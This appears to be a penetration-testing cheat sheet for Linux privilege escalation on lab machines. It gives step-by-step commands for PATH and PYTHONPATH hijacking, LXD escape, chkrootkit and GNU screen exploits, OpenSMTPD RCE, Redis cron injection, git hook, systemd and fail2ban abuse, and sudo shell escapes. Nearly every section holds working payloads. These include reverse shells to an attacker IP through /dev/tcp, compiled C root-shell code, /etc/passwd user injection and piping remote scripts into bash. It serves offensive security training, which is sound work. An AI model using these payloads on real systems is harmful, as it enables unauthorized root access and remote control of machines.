How it works: A SUID binary calls system("cmd") or popen("cmd") without a full path. Linux searches $PATH left-to-right. If you prepend a directory you control, your fake binary gets executed as root instead of the real one.
1. DETECT - find SUID binary calling commands without full path
strings reveals called commands - no leading / means PATH-dependent
strings /path/to/suid-binary | grep -v '/'
# Look for words like: service, ps, id, curl, python, etc.
ltrace shows exact system() calls at runtime
ltrace /path/to/suid-binary 2>&1 | grep -E 'system|exec|popen'
strace alternative
strace -f /path/to/suid-binary 2>&1 | grep -E 'execve|stat'
Fallback if strings/ltrace/strace unavailable - use od to extract printable strings
od -An -c /path/to/suid-binary 2>/dev/null | tr ' ' '\n' | grep -E '^[a-z][a-z0-9_-]{2,}$' | sort -u
# Alternative with hexdump:
hexdump -v -e '1/1 "%_p"' /path/to/suid-binary 2>/dev/null | tr -cs 'a-zA-Z0-9_-' '\n' \
  | grep -v '/' | awk 'length>3' | sort -u
# Confirms: words without a leading / are PATH-dependent calls → hijackable
Confirm /tmp is writable and PATH manipulation will work
[ -w /tmp ] && echo "[+] /tmp writable" || echo "[-] try /dev/shm instead"
[ -w /dev/shm ] && echo "[+] /dev/shm writable - use as PATH prefix"
export PATH=/tmp:$PATH; echo $PATH  # verify /tmp is leftmost entry
2. CONFIRM - identify exact command name to hijack
Example: binary calls "service apache2 restart" → hijack "service"
strings /path/to/suid-binary | grep -v '/'
# Found: "service" → you'll create a fake /tmp/service that runs bash
3. EXPLOIT - create fake binary and prepend to PATH
Create fake binary named after the called command
echo '/bin/bash -p' > /tmp/<command_name>
chmod +x /tmp/<command_name>
# Example: echo '/bin/bash -p' > /tmp/service
Prepend /tmp to PATH and execute SUID binary
export PATH=/tmp:$PATH
/path/to/suid-binary
4. VERIFY
id; whoami  # uid=0(root)
RESTORE - remove fake binary and reset PATH
rm -f /tmp/<command_name>
# Reset PATH to safe default:
export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
📝 Notes
+
PYTHONPATH / Python Module Hijacking
sudo python runs a script that imports a module - hijack the import
PRIVESC
💡 When to use: sudo -l shows you can run sudo python3 /some/script.py. The script imports standard library modules (shutil, os, subprocess, etc.). You can inject your own fake module by manipulating PYTHONPATH.
1. DETECT - identify the sudo python command
sudo -l
# Look for: (root) NOPASSWD: /usr/bin/python3 /path/to/script.py
# Read the script to find what it imports:
cat /path/to/script.py | grep import
2. CONFIRM - check if PYTHONPATH is passed through
# Check if env_keep includes PYTHONPATH:
sudo -l | grep PYTHONPATH
# Also check sudoers directly:
cat /etc/sudoers | grep -i python
# SETENV flag also allows passing PYTHONPATH even without env_keep:
sudo -l 2>/dev/null | grep "SETENV" && echo "[+] SETENV present - PYTHONPATH passable"
# One-liner: confirm either exploitable condition exists:
sudo -l 2>/dev/null | grep -E "PYTHONPATH|SETENV" && echo "[+] EXPLOITABLE condition confirmed"
# If PYTHONPATH is not in env_keep, use the inline approach instead (see below)
3. EXPLOIT - Method A: PYTHONPATH environment variable
TF=$(mktemp -d)
echo 'import os; os.execl("/bin/bash","bash","-p")' > $TF/shutil.py
sudo PYTHONPATH=$TF python3 /path/to/script.py
# Or if script imports 'requests', 'json', etc. - replace the module name:
TF=$(mktemp -d)
echo 'import os; os.execl("/bin/bash","bash","-p")' > $TF/requests.py
sudo PYTHONPATH=$TF python3 /path/to/script.py
Method B: Write to existing Python path (if writable)
# Find Python's search path:
python3 -c "import sys; print(sys.path)"
# If any directory is writable by you:
echo 'import os; os.execl("/bin/bash","bash","-p")' > /writable/python/dir/shutil.py
sudo python3 /path/to/script.py
# Automated check - find writable dirs in Python's actual search path:
python3 -c "import sys; print('\n'.join(sys.path))" 2>/dev/null | while read p; do
  [ -n "$p" ] && [ -w "$p" ] && echo "[+] WRITABLE Python path: $p"
done
# Confirms: any output = can drop a module there without needing PYTHONPATH env var
Method C: Direct module injection (any imported module)
# Works when SETENV is allowed in sudoers OR env_keep has PYTHONPATH
# Replace MODULE with whatever the script imports (shutil, json, os, etc.):
TF=$(mktemp -d)
cat > $TF/MODULE.py << 'EOF'
import os
import pty
os.setuid(0)
pty.spawn("/bin/bash")
EOF
sudo PYTHONPATH=$TF python3 /path/to/script.py
4. VERIFY
id  # Should show uid=0(root)
RESTORE - remove fake modules
rm -rf $TF
# If you wrote to a real Python path, remove it:
rm -f /writable/python/dir/MODULE.py
📝 Notes
+
Restricted Shell Escape
Escape rbash, rksh, or restricted modes to get a full shell
PRIVESCNEW
Detect restricted shell
echo $SHELL; echo $0; env
Escape methods - try in order
bash
sh
/bin/bash
python3 -c 'import os; os.system("/bin/bash")'
perl -e 'exec "/bin/bash";'
awk 'BEGIN {system("/bin/bash")}'
find / -exec /bin/bash \;
ssh user@localhost -t /bin/bash
BASH_CMDS[a]=/bin/sh;a
export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
From vi/vim: :!/bin/bash
From more/less: !/bin/bash
📝 Notes
+
LXD Group - Privileged Container Escape
lxd group membership = root on host. Seen on many PG machines.
PRIVESC
⚠️ Condition Your user must be in the lxd group: id | grep lxd
DETECT
id | grep lxd
groups
# Confirm lxc binary exists and LXD daemon is accessible:
which lxc 2>/dev/null && echo "[+] lxc binary present"
lxc list 2>/dev/null && echo "[+] LXD daemon accessible = exploitable"
# Alternative - check for daemon socket directly:
[ -S /var/snap/lxd/common/lxd/unix.socket ] && echo "[+] LXD socket found"
# Check if images already exist (can skip Kali transfer step):
lxc image list 2>/dev/null | grep -v "^+\|^$"
# Confirms: lxc list runs without error → full LXD access = exploitable
KALI - build Alpine image
git clone https://github.com/saghul/lxd-alpine-builder
cd lxd-alpine-builder && sudo bash build-alpine
# Creates alpine-v3.x-x86_64.tar.gz
python3 -m http.server {{PORT}}
TARGET - import & launch
wget http://{{KALI_IP}}:{{PORT}}/linux/alpine-v3.x-x86_64.tar.gz
lxc image import alpine-v3.x-x86_64.tar.gz --alias alpine
lxc image list
lxc init alpine privesc -c security.privileged=true
lxc config device add privesc host-root disk source=/ path=/mnt/root recursive=true
lxc start privesc
lxc exec privesc -- /bin/sh
VERIFY
id  # should show uid=0(root)
chroot /mnt/root bash
cat /mnt/root/root/proof.txt
💡 Alternative If lxc is not initialized: lxd init first (accept all defaults). If no internet on target, pre-build the image on Kali and transfer.
📝 Notes
+
chkrootkit 0.49 - Cron Privilege Escalation
CVE-2014-0476 - writable /tmp/update executed as root by cron
EXPLOITPRIVESC
⚠️ Only affects chkrootkit 0.49 Check version: chkrootkit --version 2>&1 | head -1. Must run as root via cron (common on older Debian/Ubuntu).
1. DETECT - verify vulnerable version and cron setup
chkrootkit --version 2>&1 | head -1
# Must be: chkrootkit version 0.49
# Confirm /tmp is world-writable AND executable (both required for /tmp/update to run):
ls -la / | grep " tmp"
mount | grep /tmp | grep -q noexec && echo "[-] /tmp noexec - attack fails" \
  || echo "[+] /tmp executable"
[ -w /tmp ] && echo "[+] /tmp writable = can plant /tmp/update"
# Confirm chkrootkit runs as root via cron (check ALL cron locations):
grep -r "chkrootkit" /etc/cron* /var/spool/cron/ 2>/dev/null \
  && echo "[+] chkrootkit found in cron = exploitable"
# Your own crontab (runs as you, not root - informational only):
crontab -l 2>/dev/null | grep chkrootkit
2. EXPLOIT - create /tmp/update (chkrootkit executes it as root)
Option A: SUID bash (no callback needed)
echo '#!/bin/bash
cp /bin/bash /tmp/rootbash
chmod +s /tmp/rootbash' > /tmp/update
chmod +x /tmp/update
Option B: Reverse shell (KALI: nc -lvnp {{RPORT}})
echo '#!/bin/bash
bash -i >& /dev/tcp/{{KALI_IP}}/{{RPORT}} 0>&1' > /tmp/update
chmod +x /tmp/update
3. WAIT & VERIFY - wait for cron to fire chkrootkit
# Option A - check for SUID bash after cron runs:
ls -la /tmp/rootbash  # look for -rwsr-xr-x
/tmp/rootbash -p
whoami  # root
RESTORE - cleanup all artifacts
rm -f /tmp/update
rm -f /tmp/rootbash
# Verify /bin/bash SUID was NOT set permanently:
ls -la /bin/bash  # should be -rwxr-xr-x (no s bit)
📝 Notes
+
GNU screen 4.05.00 - CVE-2017-5618 (SUID exploit)
Abuses SUID screen binary's log feature to write a root shell
EXPLOITPRIVESC
⚠️ Requires screen 4.05.00 with SUID bit: screen --version && ls -la $(which screen)
DETECT
screen --version
ls -la $(which screen)
find / -perm -4000 -name screen 2>/dev/null
# One-liner: confirm BOTH required conditions (version 4.05.00 AND SUID bit) together:
screen_path=$(which screen 2>/dev/null || find / -perm -4000 -name screen 2>/dev/null | head -1)
[ -n "$screen_path" ] && {
  ver=$(screen --version 2>&1 | awk '{print $3}')
  perm=$(ls -la "$screen_path" 2>/dev/null | awk '{print $1}')
  echo "Version: $ver | Perms: $perm"
  echo "$ver" | grep -q "4.05.00" && echo "$perm" | grep -q "s" \
    && echo "[+] EXPLOITABLE: screen 4.05.00 with SUID confirmed"
}
# Confirm gcc is available for compiling payloads:
which gcc 2>/dev/null && echo "[+] gcc available" \
  || echo "[-] gcc missing - compile on Kali and transfer the .so and rootshell binaries"
CREATE PAYLOADS
cat > /tmp/rootshell.c << 'EOF'
#include <stdio.h>
int main() {
  setuid(0); setgid(0);
  system("/bin/bash -p");
  return 0;
}
EOF
gcc -o /tmp/rootshell /tmp/rootshell.c
cat > /tmp/libhax.c << 'EOF'
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
__attribute__ ((__constructor__))
void dropshell(void) {
  chown("/tmp/rootshell", 0, 0);
  chmod("/tmp/rootshell", 04755);
  unlink("/etc/ld.so.preload");
}
EOF
gcc -fPIC -shared -ldl -o /tmp/libhax.so /tmp/libhax.c
BACKUP - save /etc/ld.so.preload before poisoning it
cp /etc/ld.so.preload /tmp/ld.so.preload.bak 2>/dev/null && echo "[BAK] Existing ld.so.preload saved" || echo "[INFO] ld.so.preload did not exist"
TRIGGER
cd /etc
umask 000
screen -D -m -L ld.so.preload echo -ne "\x0a/tmp/libhax.so"
screen -ls
4. ROOT SHELL
/tmp/rootshell
id; whoami  # root
RESTORE - cleanup all compiled artifacts and ld.so.preload
rm -f /tmp/rootshell /tmp/rootshell.c /tmp/libhax.so /tmp/libhax.c
# Verify /etc/ld.so.preload was cleaned up by the library itself:
cat /etc/ld.so.preload 2>/dev/null || echo 'OK - file does not exist'
# If ld.so.preload still exists - remove it (run IMMEDIATELY: affects ALL processes):
rm -f /etc/ld.so.preload && echo "[RESTORED] ld.so.preload removed"
# If it existed before: cp /tmp/ld.so.preload.bak /etc/ld.so.preload
📝 Notes
+
Service Version Exploitation
Banner grab → identify version → find CVE → exploit. Bratarina, many PG boxes.
EXPLOITENUM
💡 Strategy: After foothold, enumerate ALL running services with version info. Many PG boxes have a vulnerable service running as root (OpenSMTPD, Exim, ProFTPd, etc.) that gives instant RCE → root.
Service Version Discovery
Banner grab any service (replace PORT)
nc -nv 127.0.0.1 25    # SMTP
nc -nv 127.0.0.1 21    # FTP
nc -nv 127.0.0.1 110   # POP3
nc -nv 127.0.0.1 143   # IMAP
List all listening ports + process info
ss -tlnp
netstat -tlnp 2>/dev/null
ss -tlnp | grep LISTEN
Identify service version from running processes
ps aux | grep -E "smtp|ftp|http|mysql|postgres|redis|mongo|zookeeper|exim|postfix"
dpkg -l | grep -E "smtp|exim|postfix|vsftpd|proftpd"   # Debian/Ubuntu
rpm -qa | grep -E "smtp|exim|postfix|vsftpd|proftpd"   # CentOS/RHEL
Check specific service versions
smtpd -d 2>&1 | head -5      # OpenSMTPD version
exim --version 2>/dev/null
postconf mail_version 2>/dev/null
vsftpd --version 2>/dev/null
mysql --version 2>/dev/null
OpenSMTPD CVE-2020-7247 - RCE as root (Bratarina)
⚠️ OpenSMTPD < 6.6.2 Affects OpenSMTPD before Feb 2020. Allows unauthenticated remote code execution as root. One of the most reliable Linux privesc/foothold CVEs.
Detect - check if OpenSMTPD is running and version
nc -nv 127.0.0.1 25
# Banner: 220 hostname OpenSMTPD
smtpd --version 2>&1
smtpctl show stats 2>/dev/null
Exploit from Kali (searchsploit)
searchsploit opensmtpd
# Use: OpenSMTPD 6.6.1 - Remote Code Execution (EDB-47984)
searchsploit -m 47984
python3 47984.py {{TARGET}} 25 'bash -c "bash -i >& /dev/tcp/{{KALI_IP}}/{{RPORT}} 0>&1"'
Manual exploit (craft malicious RCPT TO)
# Catch shell first: nc -lvnp {{RPORT}}
# Then send:
nc -nv {{TARGET}} 25
HELO attacker
MAIL FROM: root@localhost
RCPT TO: ;bash -c 'bash -i >& /dev/tcp/{{KALI_IP}}/{{RPORT}} 0>&1' ;
DATA
.
QUIT
Other Service Exploits Reference
ServiceCVE / TechniqueCommand
Exim < 4.92CVE-2019-10149searchsploit exim 4.91
ProFTPd < 1.3.3cCVE-2010-4221 mod_copysearchsploit proftpd 1.3.3
Redis (unauth)Cron job injectionredis-cli -h TARGET config set dir /var/spool/cron/
MySQL as rootUDF injectionSee lin-mysql section
ZookeeperAuth bypass / info leakecho stat | nc TARGET 2181
Redis Unauthenticated - Cron Job Injection (full steps)
⚠️ Redis SAVE will overwrite the crontab file with binary DB headers - always back up the existing root crontab first. If Redis corrupts the file, crontab -r removes it entirely.
💾 BACKUP (run before exploit - Redis SAVE will overwrite the crontab file with binary DB headers): crontab -l -u root > /tmp/root_crontab.bak 2>/dev/null && echo "[BAK] Root crontab saved" || echo "[INFO] No existing root crontab"
Redis cron injection - point Redis DB dir at cron spool, set filename, write payload, save
redis-cli -h TARGET config set dir /var/spool/cron/
redis-cli -h TARGET config set dbfilename root
redis-cli -h TARGET set payload "\n\n* * * * * bash -i >& /dev/tcp/{{KALI_IP}}/{{RPORT}} 0>&1\n\n"
redis-cli -h TARGET save
↩ REVERT (run after getting shell): crontab /tmp/root_crontab.bak -u root 2>/dev/null && echo "[RESTORED] Root crontab restored" || crontab -r -u root echo "[INFO] If Redis corrupted the crontab, crontab -r -u root removes it entirely"
General exploit search workflow
# Find CVEs for identified service
searchsploit SERVICE_NAME VERSION
searchsploit -w SERVICE_NAME | head -20  # With URLs
# Check exploit-db online or:
python3 -m pip install exploitdb
msfconsole -q -x "search type:exploit name:SERVICE_NAME"
📝 Notes
+
Git Hooks & Gitea Exploitation
Git hook injection + Gitea admin abuse → RCE → root. Seen on Craft (PG).
PRIVESCEXPLOIT
💡 When to use: You have write access to a git repository (via Gitea admin, SSH, or writable .git dir), and a cron job, service, or hook triggers git operations. Injecting post-commit/pre-push hooks = arbitrary code execution.
Git Hook Injection
Find repos with writable .git/hooks directories
find / -name ".git" -type d 2>/dev/null
find / -path "*/.git/hooks" -writable 2>/dev/null
ls -la /path/to/repo/.git/hooks/
CRITICAL - confirm a privileged process triggers git (hooks run as hook-triggerer, not you)
# Check cron jobs that invoke git as root:
grep -r "\bgit\b" /etc/cron* /var/spool/cron/ 2>/dev/null
# Check systemd services/timers that invoke git:
grep -r "\bgit\b" /etc/systemd/system/ /lib/systemd/system/ 2>/dev/null | grep "Exec"
# Check root-owned scripts that call git:
find / -user root -name "*.sh" -o -user root -name "*.py" 2>/dev/null \
  | xargs grep -l "\bgit\b" 2>/dev/null
# Confirms exploit only if: git triggered by root process AND you can write to .git/hooks/
💾 BACKUP (saves pre-existing hook - the > operator will destroy it otherwise): cp /path/to/repo/.git/hooks/post-commit /tmp/post-commit.bak 2>/dev/null && echo "[BAK] Existing post-commit hook saved" || echo "[INFO] No pre-existing hook"
Create malicious post-commit hook (runs when git commit happens)
cat > /path/to/repo/.git/hooks/post-commit << 'EOF'
#!/bin/bash
bash -i >& /dev/tcp/{{KALI_IP}}/{{RPORT}} 0>&1
EOF
chmod +x /path/to/repo/.git/hooks/post-commit
SUID bash option (if cron triggers git as root)
cat > /path/to/repo/.git/hooks/post-commit << 'EOF'
#!/bin/bash
cp /bin/bash /tmp/rootbash
chmod +s /tmp/rootbash
EOF
chmod +x /path/to/repo/.git/hooks/post-commit
# After cron triggers:
/tmp/rootbash -p; id
Trigger the hook manually (if you can commit)
cd /path/to/repo
touch /tmp/trigger
git add /tmp/trigger
git commit -m "trigger"   # This fires post-commit hook
↩ REVERT: cp /tmp/post-commit.bak /path/to/repo/.git/hooks/post-commit 2>/dev/null || rm -f /path/to/repo/.git/hooks/post-commit echo "[RESTORED] Git hook restored"
Gitea Admin Exploitation
⚠️ Seen on: Craft (PG) Gitea admin panel lets you configure git hooks on repositories. Use this for RCE as the git service user.
Find Gitea credentials in configs or scripts
find / -name "*.py" -o -name "*.sh" -o -name "*.conf" 2>/dev/null | xargs grep -l "gitea\|git.*token\|git.*password" 2>/dev/null
grep -r "Authorization\|token\|password\|api_key" /home/ 2>/dev/null | grep -i git
Check Gitea config for admin credentials
cat /etc/gitea/app.ini 2>/dev/null
cat /home/git/gitea/custom/conf/app.ini 2>/dev/null
cat /opt/gitea/conf/app.ini 2>/dev/null
Use Gitea admin API to add git hook (RCE)
# Enumerate repos as admin
curl -s http://{{TARGET}}:3000/api/v1/repos/search?token=ADMIN_TOKEN | python3 -m json.tool

# Add post-receive hook to repo (executes when repo receives push)
curl -X POST http://{{TARGET}}:3000/api/v1/repos/OWNER/REPO/hooks \
  -H "Authorization: token ADMIN_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"type":"gitea","active":true,"events":["push"],"config":{"content_type":"json","url":"http://{{KALI_IP}}:{{RPORT}}"}}'
Add git hooks via Gitea web UI
# Login as admin to http://TARGET:3000
# Settings → Repositories → [repo] → Settings → Git Hooks
# Edit "post-receive" hook:
bash -i >& /dev/tcp/{{KALI_IP}}/{{RPORT}} 0>&1
# Then: push a commit to trigger it
sudo git - GTFOBins Escape
Pager escape (most common)
sudo git -p help config
# When pager opens: !/bin/bash
Direct shell via core.pager
sudo git -c core.pager='bash -c "bash -i >& /dev/tcp/{{KALI_IP}}/{{RPORT}} 0>&1"' help -a
git diff pager escape
sudo git diff --help
# When less opens: !/bin/bash
📝 Notes
+
Sudo Miscellaneous - dstat, tcpdump, dpkg, journalctl & more
Uncommon sudo binaries seen on PG/HTB machines - all lead to root
PRIVESC
dstat - Plugin Path Hijack
⚠️ Seen on: Soccer (HTB) Create plugin in writable dstat directory.
sudo dstat --list 2>&1 | grep "plugin"
Confirm which dstat plugin directories are writable by you
for d in /usr/share/dstat /usr/local/share/dstat ~/.dstat /usr/lib/dstat; do
  [ -w "$d" ] && echo "[+] WRITABLE: $d" || echo "[-] not writable: $d"
done
# Alternative - let dstat report its own plugin paths then check each:
sudo dstat --list 2>/dev/null | grep "^/" | while read dir; do
  [ -w "$dir" ] && echo "[+] WRITABLE: $dir"
done
# Confirms: any WRITABLE path → drop dstat_pwn.py there and run sudo dstat --pwn
# Create plugin in local writable dir:
mkdir -p /usr/local/share/dstat
echo 'import os; os.execl("/bin/sh","sh","-p")' > /usr/local/share/dstat/dstat_pwn.py
sudo dstat --pwn
# Also try /home/user/.dstat/ or /usr/share/dstat/ if writable:
echo 'import os; os.execl("/bin/sh","sh","-p")' > /usr/share/dstat/dstat_pwn.py
sudo dstat --pwn
tcpdump - Pre-Execution Hook
echo 'chmod +s /bin/bash' > /tmp/hook.sh && chmod +x /tmp/hook.sh
sudo tcpdump -ln -i eth0 -w /dev/null -W 1 -G 1 -z /tmp/hook.sh -Z root
bash -p; whoami
apt-get / dpkg - DPKG Pre-Installation Hook
💡 Condition: sudo apt-get or sudo dpkg without specifying packages
echo 'chmod +s /bin/bash' > /tmp/preinst
chmod +x /tmp/preinst
TF=$(mktemp -d)
echo "Package: x
Version: 1.0
Architecture: all
Maintainer: x
Description: x
Section: x
Priority: optional" > $TF/DEBIAN/control
echo "#!/bin/bash
chmod +s /bin/bash" > $TF/DEBIAN/preinst
chmod +x $TF/DEBIAN/preinst
dpkg-deb --build $TF /tmp/evil.deb
sudo dpkg -i /tmp/evil.deb
bash -p
# Simpler: sudo apt-get changelog apt (opens pager → !/bin/bash)
journalctl - Pager Escape
⚠️ Terminal must be small enough to trigger pager - if terminal is too wide/tall, journalctl outputs directly without pager. Use stty rows 10 cols 50 first.
stty rows 10 cols 50
sudo journalctl
# When pager opens (less): type !/bin/bash
Force pager mode with specific number of lines
sudo journalctl -n 100
# When less opens: !/bin/bash
systemctl - Service Unit Abuse
TF=$(mktemp).service
echo '[Unit]
Description=Evil
[Service]
Type=oneshot
ExecStart=/bin/bash -c "chmod +s /bin/bash"
[Install]
WantedBy=multi-user.target' > $TF
sudo systemctl link $TF
sudo systemctl enable --now $(basename $TF)
bash -p; whoami
Alternative - inline service for rev shell
TF=$(mktemp).service
printf '[Unit]\nDescription=Evil\n[Service]\nType=oneshot\nExecStart=/bin/bash -i >& /dev/tcp/{{KALI_IP}}/{{RPORT}} 0>&1\n[Install]\nWantedBy=multi-user.target\n' > $TF
sudo systemctl link $TF
sudo systemctl enable --now $(basename $TF)
nano / vi / vim - Editor Escape
# sudo nano: Ctrl+R, Ctrl+X, then: reset; bash 1>&0 2>&0
# sudo vi/vim: :!/bin/bash  or  :set shell=/bin/bash  then  :shell
# sudo less / man: !/bin/bash
# sudo more: when pager opens: !/bin/bash
mysql / MariaDB - Shell Escape
sudo mysql -e '\! /bin/bash'
sudo mysql -u root -e '\! /bin/bash'
sudo mysql -u root --execute='\! /bin/bash'
# MariaDB:
sudo mariadb -e '\! /bin/bash'
gem / ruby - Shell Escape
sudo gem open -e "/bin/sh -c /bin/sh" rdoc
sudo gem open GEMNAME -e "/bin/bash -c /bin/bash"
rsync - Command Execution via -e flag
sudo rsync -e 'sh -p -c "sh 0<&2 1>&2"' 127.0.0.1:/dev/null
sudo rsync -e 'sh -c "chmod +s /bin/bash"' 127.0.0.1:/dev/null; bash -p
crontab - Add root cron job
sudo crontab -e
# Add line: * * * * * /bin/bash -p
# This runs a SUID bash every minute - wait 60s then:
bash -p; id
# Or reverse shell every minute:
# * * * * * /bin/bash -i >& /dev/tcp/{{KALI_IP}}/{{RPORT}} 0>&1
apt-get - Pre-Invoke Hook
Method 1 - changelog opens pager
sudo apt-get changelog apt
# When pager (less) opens: !/bin/bash
Method 2 - Pre-Invoke hook for code execution
echo 'chmod +s /bin/bash' > /tmp/pwn.sh; chmod +x /tmp/pwn.sh
sudo apt-get install -o APT::Update::Pre-Invoke::=/tmp/pwn.sh figlet
bash -p; id
dosbox - Mount Filesystem & /etc/passwd Injection (Nukem-style)
⚠️ Seen on: Nukem (PG Practice) dosbox binary is SUID or available via sudo NOPASSWD. dosbox can mount the root filesystem and write to it as root via its DOS command shell.
Detect - check if dosbox is SUID or sudo available
find / -perm -u=s -name "dosbox" 2>/dev/null
sudo -l | grep dosbox
Method 1: SUID bash via dosbox mount (most reliable)
dosbox -c 'mount c /' -c 'c:\\windows\\system32\\cmd.exe /c "chmod +s /bin/bash"' -c exit
bash -p
id
Method 2: Inject new root user into /etc/passwd via dosbox
# Generate password hash on Kali (use -6 for SHA-512 on modern systems, -1 for MD5 fallback):
openssl passwd -6 Password123
# Then inject via dosbox (replace HASH with openssl output):
dosbox -c 'mount c /' -c 'echo "root2:HASH:0:0:root:/root:/bin/bash" >> c:/etc/passwd' -c exit
su root2  # password: Password123
id
Method 3: Copy authorized_keys via dosbox
dosbox -c 'mount c /' -c 'c:\\windows\\system32\\cmd.exe /c "mkdir c:\\root\\.ssh"' -c exit
dosbox -c 'mount c /' -c 'c:\\windows\\system32\\cmd.exe /c "echo SSH_PUB_KEY >> c:\\root\\.ssh\\authorized_keys"' -c exit
ssh -i /tmp/key root@localhost
RESTORE - cleanup
chmod -s /bin/bash 2>/dev/null
sed -i '/root2/d' /etc/passwd 2>/dev/null
network-scripts - Command Injection (CentOS/RHEL)
⚠️ Seen on: Networked (HTB) ifcfg network scripts executed NAME field as bash on restart.
# Check for writable ifcfg scripts:
ls -la /etc/sysconfig/network-scripts/
cat /etc/sysconfig/network-scripts/ifcfg-eth0
Confirm you can write to an ifcfg script AND have a way to trigger ifup/ifdown
# Check which ifcfg files are writable:
find /etc/sysconfig/network-scripts/ -name "ifcfg-*" -writable 2>/dev/null \
  && echo "[+] Writable ifcfg file found"
# Confirm you can trigger the interface restart:
sudo -l 2>/dev/null | grep -E "ifup|ifdown|network" && echo "[+] sudo ifup/ifdown available"
sudo -l 2>/dev/null | grep -E "systemctl|service" && echo "[+] Can restart network service"
# Confirms exploit: writable ifcfg + ability to trigger ifup/ifdown as root
💾 BACKUP (CRITICAL - overwrites network interface config, losing it = no network): cp /etc/sysconfig/network-scripts/ifcfg-eth0 /tmp/ifcfg-eth0.bak && echo "[BAK] ifcfg-eth0 saved"
# Inject payload into NAME field (spaces become separate commands):
echo 'NAME=eth0 bash -i >& /dev/tcp/{{KALI_IP}}/{{RPORT}} 0>&1' > /etc/sysconfig/network-scripts/ifcfg-eth0
sudo /sbin/ifdown eth0 && sudo /sbin/ifup eth0
↩ REVERT: cp /tmp/ifcfg-eth0.bak /etc/sysconfig/network-scripts/ifcfg-eth0 nmcli connection reload 2>/dev/null || systemctl restart network echo "[RESTORED] Network interface config restored"
📝 Notes
+
Tmux Session Hijack & Writable Systemd
Attach to privileged tmux sessions or modify writable service files
PRIVESC
Tmux - session hijack (world-accessible socket)
find /tmp /var/tmp -name "tmux-*" 2>/dev/null
ls -la /tmp/tmux-*/default 2>/dev/null
Confirm the tmux socket is actually accessible and readable/writable by your user
find /tmp /var/tmp -name "tmux-*" -type s 2>/dev/null | while read sock; do
  ls -la "$sock" 2>/dev/null
  [ -r "$sock" ] && [ -w "$sock" ] && echo "[+] ACCESSIBLE: $sock = exploitable" \
    || echo "[-] Permission denied: $sock"
done
# Alternative - directly try to list sessions (errors = no access):
find /tmp /var/tmp -name "tmux-*" -type s 2>/dev/null | while read sock; do
  tmux -S "$sock" list-sessions 2>/dev/null && echo "[+] CONFIRMED accessible: $sock"
done
# If socket is accessible:
tmux -S /tmp/tmux-0/default attach
# Or list sessions:
tmux -S /path/to/socket list-sessions
tmux -S /path/to/socket attach-session -t SESSION_NAME
Writable systemd service - restart abuse
find / -path /proc -prune -o -name "*.service" -writable -print 2>/dev/null
Confirm you can trigger a restart of the writable service
# Check if sudo systemctl is available without password:
sudo -l 2>/dev/null | grep -E "systemctl|service" && echo "[+] sudo systemctl available"
# Check if the service is set to auto-restart (exploit fires on next restart automatically):
systemctl show TARGET.service 2>/dev/null | grep "Restart="
# Confirms exploit: writable .service file + sudo systemctl restart = exploitable
💾 BACKUP: cp /lib/systemd/system/TARGET.service /tmp/TARGET.service.bak && echo "[BAK] Service unit backed up"
# Edit ExecStart in writable service file:
nano /lib/systemd/system/TARGET.service
# Change ExecStart=/bin/bash -c 'bash -i >& /dev/tcp/{{KALI_IP}}/{{RPORT}} 0>&1'
sudo systemctl daemon-reload
sudo systemctl restart TARGET
↩ REVERT: cp /tmp/TARGET.service.bak /lib/systemd/system/TARGET.service systemctl daemon-reload systemctl restart TARGET echo "[RESTORED] Service unit file restored"
📝 Notes
+
Linux Chisel Tunneling & Tool Guides
Port forwarding and step-by-step tool workflows for Linux
UTIL
Chisel - SOCKS5 proxy (Linux target)
KALI - server
chisel server -p 8081 --reverse
TRANSFER chisel to target
wget http://{{KALI_IP}}:{{PORT}}/linux/chisel_linux -O /tmp/chisel && chmod +x /tmp/chisel
TARGET - connect back with SOCKS5
/tmp/chisel client {{KALI_IP}}:8081 R:socks
KALI - use proxy
proxychains nmap -sT -Pn -p 22,80,443,3306,3389 INTERNAL_IP
proxychains curl http://INTERNAL_IP/
proxychains evil-winrm -i INTERNAL_IP -u {{USER}} -p {{PASS}}
linPEAS - interpret output
curl -sL http://{{KALI_IP}}:{{PORT}}/linux/linpeas.sh | bash 2>&1 | tee /tmp/lp.txt
wget http://{{KALI_IP}}:{{PORT}}/linux/linpeas.sh -O /tmp/lp.sh && chmod +x /tmp/lp.sh && /tmp/lp.sh -a
💡 Key linPEAS sections: Look for RED/YELLOW items. Focus on: SUID binaries, sudo -l, writable /etc/passwd, cron jobs, capabilities, interesting files, passwords in configs. The "95% PE vector" line tells you the most likely path.
pspy - monitor processes without root
wget http://{{KALI_IP}}:{{PORT}}/linux/pspy64 -O /tmp/pspy && chmod +x /tmp/pspy
/tmp/pspy -pf -i 1000
# Watch for: cron jobs running as root, unusual process spawns, file access patterns
📝 Notes
+
fail2ban Action.d Abuse
Writable action config + sudo restart = root execution on ban trigger (Trick HTB, PG machines)
PRIVESCNEW
💡 Often overlooked in sudo -l output. "sudo /etc/init.d/fail2ban restart" looks harmless - but if action.d is writable, it's instant root on ban trigger. Check it every time.
1. DETECT - confirm restart permission AND writable config
sudo -l 2>/dev/null | grep -E "fail2ban|fail2ban-client"
# Look for: (root) NOPASSWD: /etc/init.d/fail2ban restart
# OR: (root) NOPASSWD: /usr/bin/fail2ban-client reload
find /etc/fail2ban/ -writable -type f 2>/dev/null && echo "[+] WRITABLE fail2ban config found"
ls -la /etc/fail2ban/action.d/ 2>/dev/null
stat /etc/fail2ban/action.d/iptables-multiport.conf 2>/dev/null
BACKUP - copy the action file before editing
cp /etc/fail2ban/action.d/iptables-multiport.conf /tmp/iptables-multiport.conf.bak
2. EXPLOIT - inject payload into actionban
Replace actionban with SUID bash payload
sed -i 's|^actionban.*|actionban = chmod +s /bin/bash|' /etc/fail2ban/action.d/iptables-multiport.conf
# Restart to load new config:
sudo /etc/init.d/fail2ban restart
# OR: sudo fail2ban-client reload
Trigger a ban (brute-force SSH from Kali to fire the actionban)
# From Kali - trigger fail2ban by sending bad logins:
for i in $(seq 1 10); do ssh invalid@{{TARGET}} 2>/dev/null; done
# OR: force a ban manually:
sudo fail2ban-client set sshd banip {{KALI_IP}}
Collect shell after ban fires
bash -p
id  # uid=0(root)
RESTORE
cp /tmp/iptables-multiport.conf.bak /etc/fail2ban/action.d/iptables-multiport.conf
sudo fail2ban-client set sshd unbanip {{KALI_IP}}
sudo /etc/init.d/fail2ban restart
